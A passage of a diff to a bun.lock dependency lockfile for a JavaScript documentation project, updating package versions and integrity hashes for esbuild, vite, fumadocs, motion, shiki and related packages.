"sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="], @@ -442,13 +446,13 @@ "@types/ms": ["@types/ms@2.1.0", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="], - "@types/node": ["@types/node@25.0.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-gWEkeiyYE4vqjON/+Obqcoeffmk0NF15WSBwSs7zwVA2bAbTaE0SJ7P0WNGoJn8uE7fiaV5a7dKYIJriEqOrmA=="], + "@types/node": ["@types/node@25.0.6", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-NNu0sjyNxpoiW3YuVFfNz7mxSQ+S4X2G28uqg2s+CzoqoQjLPsWSbsFFyztIAqt2vb8kfEAsJNepMGPTxFDx3Q=="], "@types/parse-json": ["@types/parse-json@4.0.2", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="], "@types/prismjs": ["@types/prismjs@1.26.5", "", {}, "sha512-AUZTa7hQ2KY5L7AmtSiqxlhWxb4ina0yd8hNbl4TWuqnv/pFP0nDMb3YrfSBf4hJVGLh2YEIBfKaBW/9UEl6IQ=="], - "@types/react": ["@types/react@19.2.7", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg=="], + "@types/react": ["@types/react@19.2.8", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-3MbSL37jEchWZz2p2mjntRZtPt837ij10ApxKfgmXCTuHWagYg7iA5bqPw6C8BMPfwidlvfPI/fxOc42HLhcyg=="], "@types/react-copy-to-clipboard": ["@types/react-copy-to-clipboard@5.0.7", "", { "dependencies": { "@types/react": "*" } }, "sha512-Gft19D+as4M+9Whq1oglhmK49vqPhcLzk8WfvfLvaYMIPYanyfLy0+CwFucMJfdKoSFyySPmkkWn8/E6voQXjQ=="], @@ -632,7 +636,7 @@ "esast-util-from-js": ["esast-util-from-js@2.0.1", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "acorn": "^8.0.0", "esast-util-from-estree": "^2.0.0", "vfile-message": "^4.0.0" } }, "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw=="], - "esbuild": ["esbuild@0.27.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.1", "@esbuild/android-arm": "0.27.1", "@esbuild/android-arm64": "0.27.1", "@esbuild/android-x64": "0.27.1", "@esbuild/darwin-arm64": "0.27.1", "@esbuild/darwin-x64": "0.27.1", "@esbuild/freebsd-arm64": "0.27.1", "@esbuild/freebsd-x64": "0.27.1", "@esbuild/linux-arm": "0.27.1", "@esbuild/linux-arm64": "0.27.1", "@esbuild/linux-ia32": "0.27.1", "@esbuild/linux-loong64": "0.27.1", "@esbuild/linux-mips64el": "0.27.1", "@esbuild/linux-ppc64": "0.27.1", "@esbuild/linux-riscv64": "0.27.1", "@esbuild/linux-s390x": "0.27.1", "@esbuild/linux-x64": "0.27.1", "@esbuild/netbsd-arm64": "0.27.1", "@esbuild/netbsd-x64": "0.27.1", "@esbuild/openbsd-arm64": "0.27.1", "@esbuild/openbsd-x64": "0.27.1", "@esbuild/openharmony-arm64": "0.27.1", "@esbuild/sunos-x64": "0.27.1", "@esbuild/win32-arm64": "0.27.1", "@esbuild/win32-ia32": "0.27.1", "@esbuild/win32-x64": "0.27.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-yY35KZckJJuVVPXpvjgxiCuVEJT67F6zDeVTv4rizyPrfGBUpZQsvmxnN+C371c2esD/hNMjj4tpBhuueLN7aA=="], + "esbuild": ["esbuild@0.27.2", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.2", "@esbuild/android-arm": "0.27.2", "@esbuild/android-arm64": "0.27.2", "@esbuild/android-x64": "0.27.2", "@esbuild/darwin-arm64": "0.27.2", "@esbuild/darwin-x64": "0.27.2", "@esbuild/freebsd-arm64": "0.27.2", "@esbuild/freebsd-x64": "0.27.2", "@esbuild/linux-arm": "0.27.2", "@esbuild/linux-arm64": "0.27.2", "@esbuild/linux-ia32": "0.27.2", "@esbuild/linux-loong64": "0.27.2", "@esbuild/linux-mips64el": "0.27.2", "@esbuild/linux-ppc64": "0.27.2", "@esbuild/linux-riscv64": "0.27.2", "@esbuild/linux-s390x": "0.27.2", "@esbuild/linux-x64": "0.27.2", "@esbuild/netbsd-arm64": "0.27.2", "@esbuild/netbsd-x64": "0.27.2", "@esbuild/openbsd-arm64": "0.27.2", "@esbuild/openbsd-x64": "0.27.2", "@esbuild/openharmony-arm64": "0.27.2", "@esbuild/sunos-x64": "0.27.2", "@esbuild/win32-arm64": "0.27.2", "@esbuild/win32-ia32": "0.27.2", "@esbuild/win32-x64": "0.27.2" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HyNQImnsOC7X9PMNaCIeAm4ISCQXs5a5YasTXVliKv4uuBo1dKrG0A+uQS8M5eXjVMnLg3WgXaKvprHlFJQffw=="], "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], @@ -670,15 +674,15 @@ "format": ["format@0.2.2", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="], - "framer-motion": ["framer-motion@12.23.26", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-cPcIhgR42xBn1Uj+PzOyheMtZ73H927+uWPDVhUMqxy8UHt6Okavb6xIz9J/phFUHUj0OncR6UvMfJTXoc/LKA=="], + "framer-motion": ["framer-motion@12.25.0", "", { "dependencies": { "motion-dom": "^12.24.11", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-mlWqd0rApIjeyhTCSNCqPYsUAEhkcUukZxH3ke6KbstBRPcxhEpuIjmiUQvB+1E9xkEm5SpNHBgHCapH/QHTWg=="], "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], - "fumadocs-core": ["fumadocs-core@16.2.5", "", { "dependencies": { "@formatjs/intl-localematcher": "^0.6.2", "@orama/orama": "^3.1.16", "@shikijs/rehype": "^3.20.0", "@shikijs/transformers": "^3.20.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "image-size": "^2.0.2", "negotiator": "^1.0.0", "npm-to-yarn": "^3.0.1", "path-to-regexp": "^8.3.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^3.20.0", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "@mixedbread/sdk": "^0.19.0", "@orama/core": "1.x.x", "@tanstack/react-router": "1.x.x", "@types/react": "*", "algoliasearch": "5.x.x", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0", "zod": "*" }, "optionalPeers": ["@mixedbread/sdk", "@orama/core", "@tanstack/react-router", "@types/react", "algoliasearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-u07n2oQJ2XaEQpWOdCyJnICYEasQiZhTFNf40C+Q2AJ3kKFeiz42mHccea0t/sjfBbO9pEDHyvZVHhSf/Cm3AA=="], + "fumadocs-core": ["fumadocs-core@16.4.6", "", { "dependencies": { "@formatjs/intl-localematcher": "^0.7.5", "@orama/orama": "^3.1.18", "@shikijs/rehype": "^3.21.0", "@shikijs/transformers": "^3.21.0", "estree-util-value-to-estree": "^3.5.0", "github-slugger": "^2.0.0", "hast-util-to-estree": "^3.1.3", "hast-util-to-jsx-runtime": "^2.3.6", "image-size": "^2.0.2", "negotiator": "^1.0.0", "npm-to-yarn": "^3.0.1", "path-to-regexp": "^8.3.0", "remark": "^15.0.1", "remark-gfm": "^4.0.1", "remark-rehype": "^11.1.2", "scroll-into-view-if-needed": "^3.1.0", "shiki": "^3.21.0", "tinyglobby": "^0.2.15", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "@mixedbread/sdk": "^0.46.0", "@orama/core": "1.x.x", "@oramacloud/client": "2.x.x", "@tanstack/react-router": "1.x.x", "@types/react": "*", "algoliasearch": "5.x.x", "lucide-react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "react-router": "7.x.x", "waku": "^0.26.0 || ^0.27.0", "zod": "4.x.x" }, "optionalPeers": ["@mixedbread/sdk", "@orama/core", "@oramacloud/client", "@tanstack/react-router", "@types/react", "algoliasearch", "lucide-react", "next", "react", "react-dom", "react-router", "waku", "zod"] }, "sha512-cPmKu7HmzzAOXk4TbAfJhVQ12C36nu0A8sDPi664X35lOAMr+vBtjY6yIYrc8szPEFrBcmkVRGLZyEkNDZWE/Q=="], - "fumadocs-mdx": ["fumadocs-mdx@14.1.0", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.0.0", "chokidar": "^5.0.0", "esbuild": "^0.27.1", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.3", "remark-mdx": "^3.1.1", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3", "zod": "^4.1.13" }, "peerDependencies": { "@fumadocs/mdx-remote": "^1.4.0", "fumadocs-core": "^15.0.0 || ^16.0.0", "next": "^15.3.0 || ^16.0.0", "react": "*", "vite": "6.x.x || 7.x.x" }, "optionalPeers": ["@fumadocs/mdx-remote", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-6I3nXzM3+dSap5UZvKFQvOaKNKdMfxK5/8Cyu3am6zm0d/acuUxT1r1s1GQpc8H5iB9bFMtwyoZff1WN2qWq8g=="], + "fumadocs-mdx": ["fumadocs-mdx@14.2.4", "", { "dependencies": { "@mdx-js/mdx": "^3.1.1", "@standard-schema/spec": "^1.1.0", "chokidar": "^5.0.0", "esbuild": "^0.27.2", "estree-util-value-to-estree": "^3.5.0", "js-yaml": "^4.1.1", "mdast-util-to-markdown": "^2.1.2", "picocolors": "^1.1.1", "picomatch": "^4.0.3", "remark-mdx": "^3.1.1", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3", "zod": "^4.2.1" }, "peerDependencies": { "@fumadocs/mdx-remote": "^1.4.0", "@types/react": "*", "fumadocs-core": "^15.0.0 || ^16.0.0", "next": "^15.3.0 || ^16.0.0", "react": "*", "vite": "6.x.x || 7.x.x" }, "optionalPeers": ["@fumadocs/mdx-remote", "@types/react", "next", "react", "vite"], "bin": { "fumadocs-mdx": "dist/bin.js" } }, "sha512-YuDgzTopMuOOQmOhvOUfmXn2RryZY5Ev+9uwAzTBEYcLIpxIBxZl0/jHaLoYdlOMBM65AO6OBngA2SucC2hkIQ=="], - "fumadocs-ui": ["fumadocs-ui@16.2.5", "", { "dependencies": { "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "fumadocs-core": "16.2.5", "lodash.merge": "^4.6.2", "next-themes": "^0.4.6", "postcss-selector-parser": "^7.1.1", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0", "tailwind-merge": "^3.4.0" }, "peerDependencies": { "@types/react": "*", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-pn16BD2CTk5vfzkxkRzSCzXOxn6ldon5StrUoxV4v6TkizkV5R6AfEyfX0wknVuWRu/2wgec9dLh3qu4R82zTQ=="], + "fumadocs-ui": ["fumadocs-ui@16.4.6", "", { "dependencies": { "@fumadocs/ui": "16.4.6", "@radix-ui/react-accordion": "^1.2.12", "@radix-ui/react-collapsible": "^1.1.12", "@radix-ui/react-dialog": "^1.1.15", "@radix-ui/react-direction": "^1.1.1", "@radix-ui/react-navigation-menu": "^1.2.14", "@radix-ui/react-popover": "^1.1.15", "@radix-ui/react-presence": "^1.1.5", "@radix-ui/react-scroll-area": "^1.2.10", "@radix-ui/react-slot": "^1.2.4", "@radix-ui/react-tabs": "^1.1.13", "class-variance-authority": "^0.7.1", "lucide-react": "^0.562.0", "next-themes": "^0.4.6", "react-medium-image-zoom": "^5.4.0", "scroll-into-view-if-needed": "^3.1.0" }, "peerDependencies": { "@types/react": "*", "fumadocs-core": "16.4.6", "next": "16.x.x", "react": "^19.2.0", "react-dom": "^19.2.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@types/react", "next", "tailwindcss"] }, "sha512-WQD+rj2AMd5umu8cB+Q2pMl/EnCXT1MAeSb4UoEZKuoiv6zOkUiBHFemNVliijuPD2dX+18HzJlgDEk4PMVDUQ=="], "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], @@ -726,7 +730,7 @@ "human-signals": ["human-signals@2.1.0", "", {}, "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw=="], - "i18next": ["i18next@25.7.3", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-2XaT+HpYGuc2uTExq9TVRhLsso+Dxym6PWaKpn36wfBmTI779OQ7iP/XaZHzrnGyzU4SHpFrTYLKfVyBfAhVNA=="], + "i18next": ["i18next@25.7.4", "", { "dependencies": { "@babel/runtime": "^7.28.4" }, "peerDependencies": { "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-hRkpEblXXcXSNbw8mBNq9042OEetgyB/ahc/X17uV/khPwzV+uB8RHceHh3qavyrkPJvmXFKXME2Sy1E0KjAfw=="], "image-size": ["image-size@2.0.2", "", { "bin": { "image-size": "bin/image-size.js" } }, "sha512-IRqXKlaXwgSMAMtpNzZa1ZAe8m+Sa1770Dhk8VkSsP9LS+iHD62Zd8FQKs8fbPiagBE7BzoFX23cxFnwshpV6w=="], @@ -808,8 +812,6 @@ "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], - "lodash.merge": ["lodash.merge@4.6.2", "", {}, "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="], - "longest-streak": ["longest-streak@3.1.0", "", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="], "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": { "loose-envify": "cli.js" } }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="], @@ -818,7 +820,7 @@ "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "lucide-react": ["lucide-react@0.561.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Y59gMY38tl4/i0qewcqohPdEbieBy7SovpBL9IFebhc2mDd8x4PZSOsiFRkpPcOq6bj1r/mjH/Rk73gSlIJP2A=="], + "lucide-react": ["lucide-react@0.562.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-82hOAu7y0dbVuFfmO4bYF1XEwYk/mEbM5E+b1jgci/udUBEE/R7LF5Ip0CCEmXe8AybRM8L+04eP+LGZeDvkiw=="], "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="], @@ -942,11 +944,11 @@ "minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "motion": ["motion@12.23.26", "", { "dependencies": { "framer-motion": "^12.23.26", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Ll8XhVxY8LXMVYTCfme27WH2GjBrCIzY4+ndr5QKxsK+YwCtOi2B/oBi5jcIbik5doXuWT/4KKDOVAZJkeY5VQ=="], + "motion": ["motion@12.25.0", "", { "dependencies": { "framer-motion": "^12.25.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-jBFohEYklpZ+TL64zv03sHdqr1Tsc8/yDy7u68hVzi7hTJYtv53AduchqCiY3aWi4vY1hweS8DWtgCuckusYdQ=="], - "motion-dom": ["motion-dom@12.23.23", "", { "dependencies": { "motion-utils": "^12.23.6" } }, "sha512-n5yolOs0TQQBRUFImrRfs/+6X4p3Q4n1dUEqt/H58Vx7OW6RF+foWEgmTVDhIWJIMXOuNNL0apKH2S16en9eiA=="], + "motion-dom": ["motion-dom@12.24.11", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-DlWOmsXMJrV8lzZyd+LKjG2CXULUs++bkq8GZ2Sr0R0RRhs30K2wtY+LKiTjhmJU3W61HK+rB0GLz6XmPvTA1A=="], - "motion-utils": ["motion-utils@12.23.6", "", {}, "sha512-eAWoPgr4eFEOFfg2WjIsMoqJTW6Z8MTUCgn/GZ3VRpClWBdnbjryiA3ZSNLyxCTmCQx4RmYX6jX1iWHbenUPNQ=="], + "motion-utils": ["motion-utils@12.24.10", "", {}, "sha512-x5TFgkCIP4pPsRLpKoI86jv/q8t8FQOiM/0E8QKBzfMozWHfkKap2gA1hOki+B5g3IsBNpxbUnfOum1+dgvYww=="], "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], @@ -1030,11 +1032,11 @@ "react-dom": ["react-dom@19.2.3", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.3" } }, "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg=="], - "react-hook-form": ["react-hook-form@7.68.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-oNN3fjrZ/Xo40SWlHf1yCjlMK417JxoSJVUXQjGdvdRCU07NTFei1i1f8ApUAts+IVh14e4EdakeLEA+BEAs/Q=="], + "react-hook-form": ["react-hook-form@7.71.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-oFDt/iIFMV9ZfV52waONXzg4xuSlbwKUPvXVH2jumL1me5qFhBMc4knZxuXiZ2+j6h546sYe3ZKJcg/900/iHw=="], "react-hotkeys-hook": ["react-hotkeys-hook@5.2.1", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="], - "react-i18next": ["react-i18next@16.5.0", "", { "dependencies": { "@babel/runtime": "^7.27.6", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-IMpPTyCTKxEj8klCrLKUTIUa8uYTd851+jcu2fJuUB9Agkk9Qq8asw4omyeHVnOXHrLgQJGTm5zTvn8HpaPiqw=="], + "react-i18next": ["react-i18next@16.5.2", "", { "dependencies": { "@babel/runtime": "^7.28.4", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-GG/SBVxx9dvrO1uCs8VYdKfOP8NEBUhNP+2VDQLCifRJ8DL1qPq296k2ACNGyZMDe7iyIlz/LMJTQOs8HXSRvw=="], "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], @@ -1050,7 +1052,7 @@ "react-router": ["react-router@7.10.0", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="], - "react-router-devtools": ["react-router-devtools@6.0.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-event-client": "^0.3.4", "@tanstack/devtools-vite": "^0.3.11", "@tanstack/react-devtools": "^0.8.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-uhrSEWnGeDSBdWdwIIpdm6XyyqGhLAb/J2Ptxu3DtyzmYMT1irFJT9NkLDn03t4y5Nl2AGdCMP/9aAxQm1ydHQ=="], + "react-router-devtools": ["react-router-devtools@6.1.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-8roDJlN4pf+5K1d9H6kAc/GkeKJlPjFvGHPgu7YoBPS0+1r8WTP12SHFF6kB43o1fiYiFKx9uStCi/amHAFs/w=="], "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="], @@ -1130,7 +1132,7 @@ "shell-quote": ["shell-quote@1.8.3", "", {}, "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="], - "shiki": ["shiki@3.20.0", "", { "dependencies": { "@shikijs/core": "3.20.0", "@shikijs/engine-javascript": "3.20.0", "@shikijs/engine-oniguruma": "3.20.0", "@shikijs/langs": "3.20.0", "@shikijs/themes": "3.20.0", "@shikijs/types": "3.20.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-kgCOlsnyWb+p0WU+01RjkCH+eBVsjL1jOwUYWv0YDWkM2/A46+LDKVs5yZCUXjJG6bj4ndFoAg5iLIIue6dulg=="], + "shiki": ["shiki@3.21.0", "", { "dependencies": { "@shikijs/core": "3.21.0", "@shikijs/engine-javascript": "3.21.0", "@shikijs/engine-oniguruma": "3.21.0", "@shikijs/langs": "3.21.0", "@shikijs/themes": "3.21.0", "@shikijs/types": "3.21.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-N65B/3bqL/TI2crrXr+4UivctrAGEjmsib5rPMMPpFp1xAx/w03v8WZ9RDDFYteXoEgY7qZ4HGgl5KBIu1153w=="], "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], @@ -1236,13 +1238,13 @@ "vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="], - "vite": ["vite@7.3.0", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg=="], + "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", 